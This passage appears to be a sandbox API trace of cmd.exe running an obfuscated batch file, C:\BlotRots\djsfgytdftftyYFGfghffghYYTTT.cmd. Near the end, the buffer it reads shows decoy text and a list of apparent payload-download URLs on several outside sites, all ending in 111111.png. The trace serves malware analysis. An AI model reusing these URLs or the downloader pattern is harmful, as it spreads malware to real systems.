19 [0231.604] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0231.604] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0231.604] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0231.604] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0231.604] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0231.604] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0231.604] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0231.604] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0231.604] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0231.604] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0231.604] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0231.604] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0231.605] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0231.605] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0231.605] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0231.605] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0231.605] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0231.605] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0231.605] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0231.605] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0231.605] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0231.605] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0231.605] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0231.605] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0231.605] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0231.605] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0231.605] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0231.605] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0231.605] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0231.605] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0231.605] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0231.605] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0231.605] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0231.605] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0231.605] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0231.605] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0231.605] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0231.605] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0231.605] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0231.605] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0231.605] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0231.605] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0231.605] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0231.605] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0231.605] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0231.606] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0231.606] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0231.606] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0231.606] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0231.606] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0231.606] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0231.606] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0231.606] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0231.606] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0231.606] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0231.606] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0231.606] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0231.606] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0231.606] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0231.606] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0231.606] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0231.606] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0231.606] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0231.606] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0231.606] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0231.606] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0231.606] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0231.606] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0231.606] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0231.606] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0231.606] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0231.606] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0231.606] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0231.606] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0231.606] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0231.606] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0231.607] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0231.607] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0231.607] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0231.607] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0231.607] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0231.607] _wcsicmp (_String1="Windows", _String2="FOR") returned 17 [0231.607] _wcsicmp (_String1="Windows", _String2="IF") returned 14 [0231.607] _wcsicmp (_String1="Windows", _String2="REM") returned 5 [0231.607] ??_V@YAXPEAX@Z () returned 0x1 [0231.607] GetProcessHeap () returned 0x20b0f920000 [0231.607] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f957ff0 [0231.607] GetProcessHeap () returned 0x20b0f920000 [0231.607] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb6) returned 0x20b0f92d600 [0231.607] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0231.607] malloc (_Size=0xffce) returned 0x20b0fa80900 [0231.608] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0231.608] GetProcessHeap () returned 0x20b0f920000 [0231.608] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f967fe0 [0231.610] SetErrorMode (uMode=0x0) returned 0x0 [0231.610] SetErrorMode (uMode=0x1) returned 0x0 [0231.610] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f967ff0, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0231.610] SetErrorMode (uMode=0x0) returned 0x1 [0231.610] GetProcessHeap () returned 0x20b0f920000 [0231.610] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f967fe0, Size=0x48) returned 0x20b0f967fe0 [0231.610] GetProcessHeap () returned 0x20b0f920000 [0231.610] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f967fe0) returned 0x48 [0231.610] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0231.610] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0231.610] GetProcessHeap () returned 0x20b0f920000 [0231.610] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92e0d0 [0231.610] GetProcessHeap () returned 0x20b0f920000 [0231.611] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9255e0 [0231.611] GetProcessHeap () returned 0x20b0f920000 [0231.611] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9255e0, Size=0x1b6) returned 0x20b0f9255e0 [0231.611] GetProcessHeap () returned 0x20b0f920000 [0231.611] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9255e0) returned 0x1b6 [0231.611] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0231.611] GetProcessHeap () returned 0x20b0f920000 [0231.611] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f947280 [0231.611] GetProcessHeap () returned 0x20b0f920000 [0231.611] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f947280, Size=0x7e) returned 0x20b0f956d00 [0231.611] GetProcessHeap () returned 0x20b0f920000 [0231.611] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956d00) returned 0x7e [0231.611] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.611] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d210 [0231.612] FindClose (in: hFindFile=0x20b0f92d210 | out: hFindFile=0x20b0f92d210) returned 1 [0231.612] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.612] GetLastError () returned 0x2 [0231.612] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.612] GetLastError () returned 0x2 [0231.612] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.612] GetLastError () returned 0x2 [0231.613] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.613] GetLastError () returned 0x2 [0231.613] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.613] GetLastError () returned 0x2 [0231.613] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.613] GetLastError () returned 0x2 [0231.613] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.613] GetLastError () returned 0x2 [0231.613] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.614] GetLastError () returned 0x2 [0231.614] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.614] GetLastError () returned 0x2 [0231.614] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.614] GetLastError () returned 0x2 [0231.614] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.614] GetLastError () returned 0x2 [0231.614] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.614] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.615] GetLastError () returned 0x2 [0231.615] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.615] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d0f0 [0231.615] FindClose (in: hFindFile=0x20b0f92d0f0 | out: hFindFile=0x20b0f92d0f0) returned 1 [0231.615] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.615] GetLastError () returned 0x2 [0231.615] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.615] GetLastError () returned 0x2 [0231.615] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.615] GetLastError () returned 0x2 [0231.616] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.616] GetLastError () returned 0x2 [0231.616] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.616] GetLastError () returned 0x2 [0231.616] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.616] GetLastError () returned 0x2 [0231.616] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.616] GetLastError () returned 0x2 [0231.616] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.617] GetLastError () returned 0x2 [0231.617] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.617] GetLastError () returned 0x2 [0231.617] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.617] GetLastError () returned 0x2 [0231.617] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.617] GetLastError () returned 0x2 [0231.617] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.617] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.618] GetLastError () returned 0x2 [0231.618] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.618] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.618] GetLastError () returned 0x2 [0231.618] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.618] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.618] GetLastError () returned 0x2 [0231.618] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.618] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.619] GetLastError () returned 0x2 [0231.619] ??_V@YAXPEAX@Z () returned 0x1 [0231.619] _get_osfhandle (_FileHandle=2) returned 0x54 [0231.619] GetFileType (hFile=0x54) returned 0x2 [0231.619] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0231.619] GetConsoleMode (in: hConsoleHandle=0x54, lpMode=0x9cb92fe5c8 | out: lpMode=0x9cb92fe5c8) returned 1 [0231.620] _get_osfhandle (_FileHandle=2) returned 0x54 [0231.620] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0231.621] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0231.621] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'Windows' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0231.621] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x62) returned 1 [0231.624] ??_V@YAXPEAX@Z () returned 0x1 [0231.625] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.625] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0231.626] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.626] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0231.626] _get_osfhandle (_FileHandle=0) returned 0x4c [0231.626] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0231.626] SetConsoleInputExeNameW () returned 0x1 [0231.626] GetConsoleOutputCP () returned 0x1b5 [0231.629] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0231.629] SetThreadUILanguage (LangId=0x0) returned 0x409 [0231.630] ??_V@YAXPEAX@Z () returned 0x1 [0231.631] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0231.631] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0231.631] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.631] SetFilePointer (in: hFile=0x9c, lDistanceToMove=3890, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf32 [0231.631] GetProcessHeap () returned 0x20b0f920000 [0231.631] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956d00) returned 1 [0231.631] GetProcessHeap () returned 0x20b0f920000 [0231.631] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9255e0) returned 1 [0231.631] GetProcessHeap () returned 0x20b0f920000 [0231.631] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e0d0) returned 1 [0231.631] GetProcessHeap () returned 0x20b0f920000 [0231.631] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fe0) returned 1 [0231.632] GetProcessHeap () returned 0x20b0f920000 [0231.632] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d600) returned 1 [0231.632] GetProcessHeap () returned 0x20b0f920000 [0231.632] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957ff0) returned 1 [0231.633] GetProcessHeap () returned 0x20b0f920000 [0231.633] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956b50) returned 1 [0231.633] GetProcessHeap () returned 0x20b0f920000 [0231.633] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0231.633] GetProcessHeap () returned 0x20b0f920000 [0231.633] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92ca50) returned 1 [0231.633] GetProcessHeap () returned 0x20b0f920000 [0231.633] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957f90) returned 1 [0231.634] GetProcessHeap () returned 0x20b0f920000 [0231.634] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f926ea0) returned 1 [0231.634] GetProcessHeap () returned 0x20b0f920000 [0231.634] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956f50) returned 1 [0231.634] GetProcessHeap () returned 0x20b0f920000 [0231.634] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e4d0) returned 1 [0231.634] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.634] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf32 [0231.634] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x883, lpOverlapped=0x0) returned 1 [0231.634] SetFilePointer (in: hFile=0x9c, lDistanceToMove=3899, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf3b [0231.634] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=9, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" \r\n Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 9 [0231.634] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.634] GetFileType (hFile=0x9c) returned 0x1 [0231.634] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.635] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf3b [0231.635] GetProcessHeap () returned 0x20b0f920000 [0231.635] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94b230 [0231.635] GetProcessHeap () returned 0x20b0f920000 [0231.635] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94b230) returned 1 [0231.635] _tell (_FileHandle=3) returned 3899 [0231.635] _close (_FileHandle=3) returned 0 [0231.636] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0231.636] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0231.636] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.636] SetFilePointer (in: hFile=0x9c, lDistanceToMove=3899, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf3b [0231.636] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.636] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf3b [0231.636] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x87a, lpOverlapped=0x0) returned 1 [0231.636] SetFilePointer (in: hFile=0x9c, lDistanceToMove=3990, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf96 [0231.636] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, 